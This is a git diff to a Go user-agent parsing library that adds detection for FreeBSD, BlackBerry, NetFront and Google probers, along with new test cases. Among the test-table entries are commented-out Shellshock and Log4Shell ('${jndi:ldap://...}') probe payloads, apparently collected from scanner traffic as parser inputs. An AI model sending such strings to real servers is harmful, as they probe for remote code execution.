diff --git a/.gitignore b/.gitignore index b9064a7..8078d86 100644 --- a/.gitignore +++ b/.gitignore @@ -2,3 +2,6 @@ old.go old_test.go file.txt user_agents.txt +ua2.go +settings.json +benchmarks.txt diff --git a/is.go b/is.go index a98bea2..a3bf5b3 100644 --- a/is.go +++ b/is.go @@ -79,3 +79,9 @@ func (ua UserAgent) IsTwitterbot() bool { func (ua UserAgent) IsFacebookbot() bool { return ua.Name == FacebookExternalHit } + +// IsUnknown returns true if the package can't determine the user agent reliably. +// Fields like Name, OS, etc. might still have values. +func (ua UserAgent) IsUnknown() bool { + return !ua.Mobile && !ua.Tablet && !ua.Desktop && !ua.Bot +} diff --git a/ua.go b/ua.go index 4dcfcf9..a292f9c 100644 --- a/ua.go +++ b/ua.go @@ -31,7 +31,9 @@ const ( MacOS = "macOS" IOS = "iOS" Linux = "Linux" + FreeBSD = "FreeBSD" ChromeOS = "ChromeOS" + BlackBerry = "BlackBerry" Opera = "Opera" OperaMini = "Opera Mini" @@ -73,6 +75,8 @@ func Parse(userAgent string) UserAgent { } } + //fmt.Printf("%+v\n", tokens) + // OS lookup switch { case tokens.exists("Android"): @@ -114,10 +118,20 @@ func Parse(userAgent string) UserAgent { ua.OSVersion = tokens.get(Linux) ua.Desktop = true + case tokens.exists("FreeBSD"): + ua.OS = FreeBSD + ua.OSVersion = tokens.get(FreeBSD) + ua.Desktop = true + case tokens.exists("CrOS"): ua.OS = ChromeOS ua.OSVersion = tokens.get("CrOS") ua.Desktop = true + + case tokens.exists("BlackBerry"): + ua.OS = BlackBerry + ua.OSVersion = tokens.get("BlackBerry") + ua.Mobile = true } switch { @@ -127,6 +141,12 @@ func Parse(userAgent string) UserAgent { ua.Bot = true ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari") + case tokens.existsAny("GoogleProber", "GoogleProducer"): + if name := tokens.findBestMatch(false); name != "" { + ua.Name = name + } + ua.Bot = true + case tokens.exists("Applebot"): ua.Name = Applebot ua.Version = tokens.get(Applebot) @@ -243,6 +263,7 @@ func Parse(userAgent string) UserAgent { case tokens.exists("FBAN"): ua.Name = FacebookApp ua.Version = tokens.get("FBAN") + case tokens.exists("FB_IAB"): ua.Name = FacebookApp ua.Version = tokens.get("FBAV") @@ -260,6 +281,15 @@ func Parse(userAgent string) UserAgent { ua.Version = tokens.get("HuaweiBrowser") ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari") + case tokens.exists("BlackBerry"): + ua.Name = "BlackBerry" + ua.Version = tokens.get("Version") + + case tokens.exists("NetFront"): + ua.Name = "NetFront" + ua.Version = tokens.get("NetFront") + ua.Mobile = true + // if chrome and Safari defined, find any other token sent descr case tokens.exists(Chrome) && tokens.exists(Safari): name := tokens.findBestMatch(true) @@ -303,7 +333,10 @@ func Parse(userAgent string) UserAgent { ua.Name = ua.String } ua.Bot = strings.Contains(strings.ToLower(ua.Name), "bot") - ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari") + // If mobile flag has already been set, don't override it. + if !ua.Mobile { + ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari") + } } } @@ -379,6 +412,9 @@ func parse(userAgent string) properties { case (parOpen || braOpen) && c == 59: // ; addToken() + case c == 59: // ; + addToken() + case c == 40: // ( addToken() parOpen = true @@ -390,6 +426,16 @@ func parse(userAgent string) properties { addToken() braOpen = false + case c == 58: // : + if bytes.HasSuffix(buff.Bytes(), []byte("http")) || bytes.HasSuffix(buff.Bytes(), []byte("https")) { + // If we are part of a URL just write the character. + buff.WriteByte(c) + } else if i != len(bua)-1 && bua[i+1] != ' ' { + // If the following character is not a space, change to a space. + buff.WriteByte(' ') + } + // Otherwise don't write as its probably a badly formatted key value separator. + case slash && c == 32: addToken() @@ -401,7 +447,11 @@ func parse(userAgent string) properties { buff.WriteByte(c) isURL = true } else { - slash = true + if ignore(buff.String()) { + buff.Reset() + } else { + slash = true + } } default: @@ -424,7 +474,7 @@ func checkVer(s string) (name, v string) { switch s[:i] { case "Linux", "Windows NT", "Windows Phone OS", "MSIE", "Android": return s[:i], s[i+1:] - case "CrOS x86_64", "CrOS aarch64": + case "CrOS x86_64", "CrOS aarch64", "CrOS armv7l": j := strings.LastIndex(s[:i], " ") return s[:j], s[j+1 : i] default: @@ -443,7 +493,7 @@ func checkVer(s string) (name, v string) { // ignore retursn true if token should be ignored func ignore(s string) bool { switch s { - case "KHTML, like Gecko", "U", "compatible", "Mozilla", "WOW64", "en", "en-us", "en-gb", "ru-ru": + case "KHTML, like Gecko", "U", "compatible", "Mozilla", "WOW64", "en", "en-us", "en-gb", "ru-ru", "Browser": return true default: return false diff --git a/ua_test.go b/ua_test.go index f955f82..69fd753 100644 --- a/ua_test.go +++ b/ua_test.go @@ -70,12 +70,16 @@ var testTable = [][]string{ // Windows phone {"Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; NOKIA; Lumia 630)", ua.InternetExplorer, "7.0", "mobile", ua.WindowsPhone}, + // FreeBSD + {"Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)", "Konqueror", "4.5", "desktop", "FreeBSD"}, + // Bots {"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", ua.Googlebot, "2.1", "mobile", "Android", "Nexus 5X"}, {"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", ua.Googlebot, "2.1", "bot", ""}, {"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)", "Applebot", "0.1", "bot", ""}, {"Twitterbot/1.0", ua.Twitterbot, "1.0", ua.Applebot, ""}, {"facebookexternalhit/1.1", ua.FacebookExternalHit, "1.1", "bot", ""}, + {"facebookcatalog/1.0", "facebookcatalog", "1.0", "bot", ""}, {"Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html", "SemrushBot", "7~bl", "bot", ""}, {"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.268", "YandexBot", "3.0", "bot", ""}, {"Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)", "Discordbot", "2.0", "bot", ""}, @@ -84,6 +88,8 @@ var testTable = [][]string{ {"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.1.0.0 Mobile Safari/537.36 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", "Bingbot", "2.0", "bot", ua.Android}, // new bingbot mobile {"Mozilla/5.0 (compatible; Yahoo Ad monitoring; https://help.yahoo.com/kb/yahoo-ad-monitoring-SLN24857.html) tands-prod-eng.hlfs-prod---sieve.hlfs-desktop/1681336006-0", "Yahoo Ad monitoring", "", "bot", ""}, {"Mozilla/5.0 (compatible; Yahoo Ad monitoring; https://help.yahoo.com/kb/yahoo-ad-monitoring-SLN24857.html) cnv.aws-prod---sieve.hlfs-rest_client/1681346790-0", "Yahoo Ad monitoring", "", "bot", ""}, + {"GoogleProber", "GoogleProber", "", "bot", ""}, + {"GoogleProducer; (+http://goo.gl/7y4SX)", "GoogleProducer", "", "bot", ""}, // Google ads bots {"Mozilla/5.0 (Linux; Android 4.0.0; Galaxy Nexus Build/IMM76B) AppleWebKit/537.36 (KHTML, like Gecko; Mediapartners-Google) Chrome/104.0.0.0 Mobile Safari/537.36", ua.GoogleAdsBot, "", "bot", ua.Android}, @@ -117,10 +123,18 @@ var testTable = [][]string{ {"Go-http-client/1.1", "Go-http-client", "1.1", "", ""}, {"Wget/1.12 (linux-gnu)", "Wget", "1.12", "", ""}, {"Wget/1.17.1 (darwin15.2.0)", "Wget", "1.17.1", "", ""}, + {"Seafile/9.0.2 (Linux)", "Seafile", "9.0.2", "", "Linux"}, // unstandard stuff {"BUbiNG (+http://law.di.unimi.it/BUbiNG.html)", "BUbiNG", "", "", ""}, //{"Aweme 8.2.0 rv:82017 (iPhone6,2; iOS 12.4; zh_CN) Cronet", "Aweme", "", "", ""}, + {"surveyon/3.1.0 Mobile (Android: 6.0.1; MODEL:SM-G532G; PRODUCT:grandppltedx; MANUFACTURER:samsung;)", "surveyon", "3.1.0", "mobile", ua.Android}, + {"surveyon/3.1.0 Mobile (Android: 9; MODEL:CPH1923; PRODUCT:CPH1923; MANUFACTURER:OPPO;)", "surveyon", "3.1.0", "mobile", ua.Android}, + {"surveyon/3.1.0 Mobile (Android: 13; MODEL:SM-M127F; PRODUCT:m12nnxx; MANUFACTURER:samsung;)", "surveyon", "3.1.0", "mobile", ua.Android}, + {"surveyon/2.9.5 (iPhone; CPU iPhone OS 12_5_7 like Mac OS X)", "surveyon", "2.9.5", "mobile", ua.IOS}, + {"Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.187 Mobile Safari/534.11+", "BlackBerry", "7.0.0.187", "mobile", "BlackBerry"}, + {"Mozilla/5.0 (X11; CrOS armv7l 13099.110.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.136 Safari/537.36", ua.Chrome, "84.0.4147.136", "desktop", ua.ChromeOS}, + {"SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0", "NetFront", "3.3", "mobile", ""}, // Device names {"Mozilla/5.0 (Linux; Android 10; 8092) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", "Chrome", "112.0.0.0", "mobile", ua.Android, "8092"}, @@ -135,6 +149,12 @@ var testTable = [][]string{ {"Mozilla/5.0 (Linux; Android 9; m5621 Build/PPR2.180905.006.A1; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.158 Safari/537.36", ua.Chrome, "66.0.3359.158", "mobile", ua.Android, "m5621"}, {"Mozilla/5.0 (Linux; Android 10; meanIT_X20 Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.153 Safari/537.36", ua.Chrome, "110.0.5481.153", "mobile", ua.Android, "meanIT_X20"}, {"Mozilla/5.0 (Linux; Android 10;)", "Mozilla/5.0 (Linux; Android 10;)", "", "mobile", ua.Android}, + // {`() { ignored; }; echo Content-Type: text/plain ; echo ; echo "bash_cve_2014_6271_rce Output : $((70+91))"`, "", "mobile", ua.Android}, + //{`${jndi:ldap://log4shell-generic-8ZnJfq2XFL3GWyaLyOpT${lower:ten}.w.nessus.org/nessus}`, "", "mobile", ua.Android}, + // + + // + // ${jndi:ldap://log4shell-generic-8ZnJfq2XFL3GWyaLyOpT${lower:ten}.w.nessus.org/nessus} // TODO: // Mozilla/5.0 (Linux; U; Android 13; sr-rs; V2206 Build/TP1A.220624.014) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/Mint Browser/3.9.3 @@ -190,6 +210,11 @@ func TestParse(t *testing.T) { } } +func TestSingle(t *testing.T) { + agent := ua.Parse("SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0") + fmt.Printf("\n%+v\n", agent) +} + var testUA ua.UserAgent func BenchmarkUserAgent(b *testing.B) { @@ -258,7 +283,6 @@ func ExampleParse() { if ua.URL != "" { fmt.Println(ua.URL) } - } }